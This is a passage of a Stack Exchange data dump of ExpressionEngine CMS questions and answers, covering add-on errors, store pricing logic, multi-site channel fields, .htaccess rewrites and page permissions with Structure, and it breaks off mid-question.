  <row Id="24628" PostTypeId="1" CreationDate="2014-07-23T23:26:21.807" Score="0" ViewCount="84" Body="&lt;p&gt;As far as I know I'm running current versions of EE core and all add ons...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.9.0 &lt;/li&gt;&#xA;&lt;li&gt;Solspace Tag 4.2.7&lt;/li&gt;&#xA;&lt;li&gt;Structure 3.3.14.5&lt;/li&gt;&#xA;&lt;li&gt;Campaigns 2.0.3&lt;/li&gt;&#xA;&lt;li&gt;CE Cache 1.9.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;{exp:tag:related_entries} and {exp:tag:tags} are wrapped in {exp:ce_cache:escape}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;em&gt;some&lt;/em&gt; entries I get a white screen when Tags are assigned. I remove all Tags from the entry, save, refresh front-end page and it renders properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Tag back to the entry, save, refresh front-end page and I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;undefined method Pagination_object::get_template() in mod.tag.php on line 2351&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove all Tags from the entry, save, refresh front-end page and it renders properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's strange is that this is only happening on &lt;em&gt;some&lt;/em&gt; entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Solspace tags I'm using in this template are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:related_entries&#xA;    channel=&quot;self_help_tips&quot;&#xA;    entry_id=&quot;{structure:page:entry_id}&quot;&#xA;    rank_method=&quot;total_entries&quot; &#xA;    orderby=&quot;relevance&quot;&#xA;    limit=&quot;20&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:tags entry_id=&quot;{structure:page:entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please let me know if I'm doing something stupid here, but I can't figure out why only &lt;em&gt;some&lt;/em&gt; entries are affected.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;EDIT Aug 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've trimmed down the EE template to just the following tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Related Tips&amp;lt;/h2&amp;gt;&#xA;            {exp:tag:related_entries&#xA;                channel=&quot;self_help_tips&quot;&#xA;                entry_id=&quot;{structure:page:entry_id}&quot;&#xA;                rank_method=&quot;total_entries&quot; &#xA;                orderby=&quot;relevance&quot;&#xA;                limit=&quot;20&quot;&#xA;            }&#xA;                &amp;lt;p style=&quot;line-height:1.2em;&quot;&amp;gt;&amp;lt;a href=&quot;{url_title_path='tips'}&quot; style=&quot;text-decoration:none;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            {/exp:tag:related_entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Tags&amp;lt;/h2&amp;gt;&#xA;            {exp:tag:tags entry_id=&quot;{structure:page:entry_id}&quot;}&#xA;                {if tag_count == '1'}&amp;lt;ul class=&quot;list-inline tags&quot;&amp;gt;{/if}&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;{path='tips'}/tag/{websafe_tag}&quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                {if tag_count == tag_total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;            {/exp:tag:tags}&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No pagination is being used in these tags.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-08-02T15:51:48.670" LastActivityDate="2014-08-05T14:08:50.120" Title="Solspace Tag: undefined method Pagination_object::get_template() in mod.tag.php on line 2351" Tags="|solspace|solspace-tag|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24629" PostTypeId="1" AcceptedAnswerId="24642" CreationDate="2014-07-24T01:50:59.257" Score="0" ViewCount="77" Body="&lt;p&gt;I'm trying to set up an EE e-commerce site for the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A product categories list that is 4 levels deep. The product categories will have at least two custom category fields: &lt;code&gt;amount&lt;/code&gt; and &lt;code&gt;amount_type&lt;/code&gt;. These fields represent the markup (profit) of a particular product associated with the category. Example values are: {10, 'percentage'} or {5, 'amount'}. NOTE: products will only be assigned the lowest level category.&lt;/li&gt;&#xA;&lt;li&gt;The Channel that has the Store field will have a custom channel field &lt;code&gt;cost.&lt;/code&gt; This represents the cost of the product to the retailer.&lt;/li&gt;&#xA;&lt;li&gt;Optionally set the &lt;code&gt;price&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the frontend, I want customers to see this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If the &lt;code&gt;price&lt;/code&gt; field is populated, show that amount.&lt;/li&gt;&#xA;&lt;li&gt;If the &lt;code&gt;price&lt;/code&gt; field is not populated, then compute the selling price by using &lt;code&gt;cost&lt;/code&gt; custom Channel field and &lt;code&gt;amount&lt;/code&gt; and &lt;code&gt;amount_type&lt;/code&gt; custom Categories fields.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As there is no requirement for the lowest level categories to actually have a value for &lt;code&gt;amount&lt;/code&gt; and &lt;code&gt;amount_type&lt;/code&gt;, the frontend logic would need to keep checking the parent category until it finds a category level that does have those fields populated. The root nodes will always be populated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that &lt;code&gt;price&lt;/code&gt; is required, though. &lt;strong&gt;So, what might I be able to do in order to support this custom business logic?&lt;/strong&gt; Perhaps I set the price to an invalid value, like &lt;code&gt;-1&lt;/code&gt; and do checks in the frontend based on that somehow? &lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-01-17T04:49:23.013" Title="Store: need {price} field to be optional?" Tags="|expresso-store|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24630" PostTypeId="2" ParentId="24614" CreationDate="2014-07-24T02:31:44.143" Score="0" Body="&lt;p&gt;Sounds like a bug to me...the cartthorb notifications/status update system is a bit ropey in all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been poking around in that area for other reasons...I suspect you could trap this and stop the emails going out by modifying&lt;/p&gt;&#xA;&#xA;&lt;p&gt;third_party/cartthrob/libraries/cartthrob_email.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;around line 49 you could add an extra condition to make sure the status actually has changed...the following code is NOT tested but might get you started:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From:&#xA;                    if ($status_end &amp;amp;&amp;amp; ($notification['status_end'] == &quot;ANY&quot; || $notification['status_end'] == $status_end))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                if (($status_end &amp;amp;&amp;amp; ($notification['status_end'] == &quot;ANY&quot; || $notification['status_end'] == $status_end)) &amp;amp;&amp;amp; $status_start !== $status_end)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a hack you'll have to maintain, so I would book a call in with the CartThrob folks (and/or ping them on twitter) - and get it fixed properly, but this might work in the meantime.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-07-24T02:31:44.143" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24631" PostTypeId="2" ParentId="24604" CreationDate="2014-07-24T04:02:34.230" Score="3" Body="&lt;p&gt;Probably the most basic way to do it yourself is probably using Navicat and Excel. Create one discount that matches how you want it work. Export the SQL table to your desktop as a CSV or XLS file. Open that in Excel and duplicate the rows adjusting the code column as you want to show differences. Then import those rows back into the database. You could do it other ways, but this would be the novice ways for those with little MySQL/Php experience.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-07-24T04:02:34.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24632" PostTypeId="2" ParentId="24583" CreationDate="2014-07-24T04:10:18.020" Score="1" Body="&lt;p&gt;I believe if you just use the built in shipping option and set a price only for United States and set all other countries to 0 it should work pretty automatic. Then detect if the price is 0 with an if statement in the cart/checkout and show the message you want. Then if someone chooses US you will get the price added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could vary depending on your shipping setup though.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-07-24T04:10:18.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24633" PostTypeId="1" CreationDate="2014-07-24T05:38:40.130" Score="0" ViewCount="83" Body="&lt;p&gt;It says in a &lt;a href=&quot;http://devot-ee.com/add-ons/support/reefine/viewthread/12862#41769&quot; rel=&quot;nofollow&quot;&gt;support thread&lt;/a&gt; that Expression Engine has a maximum number of segments allowed that can't be changed (I can't think of a reason why they would need to do so). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't change the directory structure of my resources since it is structured by a ready made template. So I am stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone have a solution circumvent the issue of having too many segments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or at least disable Expression Engine from capturing and interpreting that page since the the links that I have that go over the maximum limit point to CSS files which don't need EE interpretation.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-07-24T18:34:33.263" Title="Circumventing the maximum number of segments limit" Tags="|segments|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24634" PostTypeId="2" ParentId="24599" CreationDate="2014-07-24T06:35:22.273" Score="2" Body="&lt;p&gt;I'd recommend creating a Collection where you only add weight to the Title and the Grid field. Make sure the &lt;code&gt;reference&lt;/code&gt; column in the Grid field's settings is marked as searchable. If it wasn't searchable before, you might need to re-save the entries so it populates the &lt;code&gt;exp_channel_data&lt;/code&gt; table, which in turn Low Search uses to build its index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you could use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form result_page=&quot;root/search_results&quot; }&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Keywords&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;collection&quot; value=&quot;my_new_collection&quot; /&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where &lt;code&gt;my_new_collection&lt;/code&gt; is the collection described above.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-07-24T06:35:22.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24635" PostTypeId="1" CreationDate="2014-07-24T07:19:59.760" Score="0" ViewCount="28" Body="&lt;p&gt;Using expression engine multi-site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we have a master site &quot;master-site&quot; &amp;amp; a slave/child site &quot;slave-site&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a new channel &quot;blogs&quot; &amp;amp; it's channel fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create &quot;blogs&quot; channel &amp;amp; channel fields from &quot;slave-site&quot; admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue: Only default channel tags &quot;{title}&quot;, &quot;{entry_id}&quot; etc are working in templates. If we create a new channel fields then tags for these channel fields do not work in template and shows tags as it is in browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg: If we create a channel field &quot;blog_description&quot; and using &quot;{blog_description}&quot; tag in template but in browser tag not fetching it's value and showing tag &quot;{blog_description}&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Create &quot;blogs&quot; channel &amp;amp; channel fields from &quot;master-site&quot; admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue: &quot;blogs&quot; channel &amp;amp; channel fields are not appearing at &quot;slave-site&quot; admin panel.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2014-07-24T08:52:44.950" Title="Multisite - channel fields do not work in child template pages" Tags="|ee2|multi-site-manager|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24636" PostTypeId="1" CreationDate="2014-07-24T08:48:39.210" Score="2" ViewCount="53" Body="&lt;p&gt;I have a question about Exp:resso store. I need to develop a webshop where different prices are handeld per group member. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each group has different pricelevels. For example a product has the following prices:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Group consumer: 15,-&lt;/li&gt;&#xA;&lt;li&gt;Group business: 12,50&lt;/li&gt;&#xA;&lt;li&gt;Group retailers: 10,-&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I want to set fixed prices, not a discount percentage! Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-07-29T17:10:41.877" Title="Exp:resso store price based on login" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24637" PostTypeId="2" ParentId="24635" CreationDate="2014-07-24T08:52:44.950" Score="1" Body="&lt;p&gt;Add  channels  so  all  from  the  original  site  are  present,  then  in  &lt;code&gt;exp_channels&lt;/code&gt;  table  in  the  DB  manually  set  the  field  group  for  each  to  be  the  same  as  the  corresponding  channel  in  the  original  site.&lt;/p&gt;&#xA;" OwnerUserId="2696" LastActivityDate="2014-07-24T08:52:44.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24639" PostTypeId="1" AcceptedAnswerId="24641" CreationDate="2014-07-24T12:05:23.073" Score="0" ViewCount="60" Body="&lt;p&gt;I'm trying to display a list of links dynamically based on the current entry that is being displayed. with code along the lines of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='tour' disable=&quot;category_fields|member_data|pagination&quot; dynamic=&quot;no&quot; show_expired=&quot;no&quot;}&#xA;    {if tour_name==&quot;tour_name&quot;}&#xA;        &amp;lt;h4 class=&quot;sub&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}tours/{url_title}&quot;&amp;gt;{tour_date_start format=&quot;%j %F&quot;} &amp;amp;ndash; {tour_date_end format=&quot;%j %F %Y&quot;}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that the code above won't work, but thought it illustrated what I was trying to achieve. Basically I have a series of tours and some of them have the same name. I want to display links to these ones with the same name, when viewing one of those tours. I know this would be best to use either categories or a playa field, but aren't able to go this route because some of the data is pulled in from an external database. I tried to use stash to set the current tour_name and then get it within the if conditional, but this wouldn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if it would be possible using the query module? Or another plugin? Maybe it's not possible at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can offer any help, I'd appreciate it. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2014-07-24T15:06:23.277" Title="Return only entries which have the same custom field as the current displayed entry?" Tags="|channel-entries|custom-fields|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24641" PostTypeId="2" ParentId="24639" CreationDate="2014-07-24T13:56:29.017" Score="0" Body="&lt;p&gt;You can always pass the data to an embed and search for entries again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='tour' [...] }&#xA;    [...]&#xA;    {if tour_name}&#xA;        {embed=&quot;pages/.related_tours&quot; name=&quot;{tour_name}&quot; current_entry=&quot;{entry_id}&quot;}    &#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On you embed, you can look for entries using the query module, sure, but the channel module is easier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='tour' search:tour_name=&quot;{embed:name}&quot; entry_id=&quot;not {embed:current_entry}&quot; [...]}&#xA;    [...]&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-07-24T15:06:23.277" LastActivityDate="2014-07-24T15:06:23.277" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24642" PostTypeId="2" ParentId="24629" CreationDate="2014-07-24T17:36:13.487" Score="1" Body="&lt;p&gt;Store 2.x allows for user defined prices so you should be able to enter 0 in the price field then create some template logic when the price is 0 you would then run the math to get the correct price based upon your custom fields.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-24T17:36:13.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24644" PostTypeId="2" ParentId="24633" CreationDate="2014-07-24T18:34:33.263" Score="1" Body="&lt;p&gt;If you have structured you htaccess like the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;htaccess example&lt;/a&gt;. ExpressionEngine will not be consulted when accessing folders or files on your server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two lines in the htaccess are important&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These make sure that if you are accessing a folder or file (like your css files), then do not have ExpressionEngine parse it. This essentially means there is no limit to your segments.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-24T18:34:33.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24645" PostTypeId="1" AcceptedAnswerId="24798" CreationDate="2014-07-24T18:49:22.870" Score="3" ViewCount="821" Body="&lt;p&gt;Spinning wheels..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to separate pages into permission groups. &#xA;I am using Structure. And I have Entry Access.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to integrate this. I've been through the documentation of Entry Access and Structure while I have seen something close maybe I'm missing the clue to solving this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the website content is all through Structure minus the &lt;code&gt;/index&lt;/code&gt; and &lt;code&gt;/event&lt;/code&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the pages that are within Structure use 1 template &lt;code&gt;/structure/page&lt;/code&gt; which comes from one channel &lt;code&gt;{exp:channel:entries=&quot;page&quot;}&lt;/code&gt; to populate the site's content.  To possibly complicate matters for a front-end type of dashboard the site also pulling that channel again using &lt;code&gt;{exp:channel:form channel=&quot;page&quot;}&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that I need to have 12 different permission groups.&lt;br&gt;&#xA;Each needing access to a different area (page) within the&#xA;&lt;code&gt;/structure/page&lt;/code&gt; template and channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;&#xA; &lt;code&gt;/about&lt;/code&gt;  using the  &lt;code&gt;/structure/page&lt;/code&gt; template will need&#xA;to be accessed by permission group A &lt;/p&gt;&#xA;&#xA;&lt;p&gt;while &lt;code&gt;/gallery&lt;/code&gt; also using the &lt;code&gt;/structure/page&lt;/code&gt; template and channel will need to be accessed by permission group B and so on and so forth where some pages will need to have multiple permission groups allowed...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A couple of questions however:&lt;/strong&gt;&lt;br&gt;&#xA;Is there currently any way to do this with Structure as we have the site&#xA;currently setup? 1 channel feeding 1 structure/page template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if so, any suggestions to nudge me in the right direction for setting up these permissions??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the front-end template currently has.  It works well but, without permission control.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;page&quot; entry_id=&quot;{segment_3}&quot; id=&quot;publishForm&quot; return=&quot;&quot;}&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;col-lg-12&quot;&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; disabled=&quot;true&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot; id=&quot;images-container&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&quot;&amp;gt;Image Carousel&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {field:images}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;about&quot;&amp;gt;About&amp;lt;/label&amp;gt;&#xA;    {field:about}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;body&quot;&amp;gt;Body&amp;lt;/label&amp;gt;&#xA;    {field:body}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot; id=&quot;faq-container&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&quot;&amp;gt;FAQ&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {field:faq}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot; id=&quot;external-links-container&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&quot;&amp;gt;External Links&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {field:external_links}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot; id=&quot;documents-container&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&quot;&amp;gt;Documents&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {field:documents}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot; id=&quot;message-container&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;message&quot;&amp;gt;Message&amp;lt;/label&amp;gt;&#xA;    {field:message}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-element-wrapper&quot; id=&quot;mission-container&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;mission&quot;&amp;gt;Mission&amp;lt;/label&amp;gt;&#xA;    {field:mission}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;  &amp;lt;input id=&quot;submit-form&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Update and Finish&quot; class=&quot;fin btn btn-primary btn-lg pull-right&quot; style=&quot;margin:0 2% 2% 0;&quot;&amp;gt;&#xA;  &amp;lt;input id=&quot;submit-form&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Update&quot; class=&quot;upd btn btn-primary btn-lg pull-right&quot; style=&quot;margin:0 2% 2% 0;&quot;&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:form}&#xA;&#xA;&#xA;{if:else}&#xA;&amp;lt;div class=&quot;well well-lg&quot;&amp;gt; &#xA;&amp;lt;button id=&quot;page_select_submit&quot; type=&quot;submit&quot; class=&quot;btn btn-primary pull-right&quot;&amp;gt;Go...&amp;lt;/button&amp;gt;&#xA;&amp;lt;select name=&quot;structure_parent_id&quot; class=&quot;chosen-select&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;0&quot; selected=&quot;selected&quot;&amp;gt;Choose a Page...&amp;lt;/option&amp;gt;&#xA;&#xA;&amp;lt;!--  GROUP A  --&amp;gt;&#xA;&amp;lt;option value=&quot;100&quot;&amp;gt; Page1&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;200&quot;&amp;gt;-- Page2&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;300&quot;&amp;gt;-- Page3&amp;lt;/option&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--  GROUP B  --&amp;gt;&#xA;&amp;lt;option value=&quot;400&quot;&amp;gt; Page4&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;500&quot;&amp;gt;-- Page5&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;600&quot;&amp;gt;-- Page6&amp;lt;/option&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--  GROUP C  --&amp;gt;&#xA;&amp;lt;option value=&quot;700&quot;&amp;gt; Page7&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;800&quot;&amp;gt;-- Page8&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;900&quot;&amp;gt;-- Page9&amp;lt;/option&amp;gt;&#xA;&#xA;&amp;lt;!--  GROUP D  --&amp;gt;&#xA;&amp;lt;option value=&quot;100&quot;&amp;gt; Page1&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;500&quot;&amp;gt;-- Page5&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;1000&quot;&amp;gt;-- Page10&amp;lt;/option&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;/select&amp;gt; &#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/if}&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;$(document).on('mouseenter', '.fin',  function(){&#xA; $('[name=return_url], [name=return], [name=RET]').val('embeds/success');&#xA;});&#xA;&#xA;$(document).on('mouseenter', '.upd',  function(){&#xA; $('[name=return_url], [name=return]').val('embeds/success/{sement_3}');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the option dropdown.  I would like to only show the pages/ option vaulues that are relevant to that particular permission group to edit.&lt;/p&gt;&#xA;" OwnerUserId="337" LastEditorUserId="337" LastEditDate="2014-07-31T17:24:45.403" LastActivityDate="2014-07-31T19:25:11.833" Title="Permission Groups, Structure, and Entry Access?" Tags="|channel-entries|templates|structure|admin|member-management|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24646" PostTypeId="1" AcceptedAnswerId="24678" CreationDate="2014-07-24T18:51:49.903" Score="0" ViewCount="844" Body="&lt;p&gt;I'm trying to set up two sites in EE with MSM &amp;amp; Master Config. But I'm failing. Feels like I'm really close but can't get over the last hurdle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used &lt;a href=&quot;https://gist.github.com/akuzemchak/d27570a3e52bdf656f54&quot; rel=&quot;nofollow&quot;&gt;this suggested method&lt;/a&gt; but it's not quite there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are how the domains are set up (simplified):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/&#xA;    /site1&#xA;        /html&#xA;            /assets&#xA;                /third-party&#xA;                    /add-ons&#xA;                    /themes&#xA;                /tpl&#xA;            /config&#xA;            /system&#xA;            /themes&#xA;            /admin.php&#xA;            /index.php&#xA;    /site2&#xA;        /html&#xA;            /admin.php&#xA;            /index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Site1 is working fine as far as I can tell. No issues in the CP and the home page shows up fine (just has static HTML at the moment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site2 is another 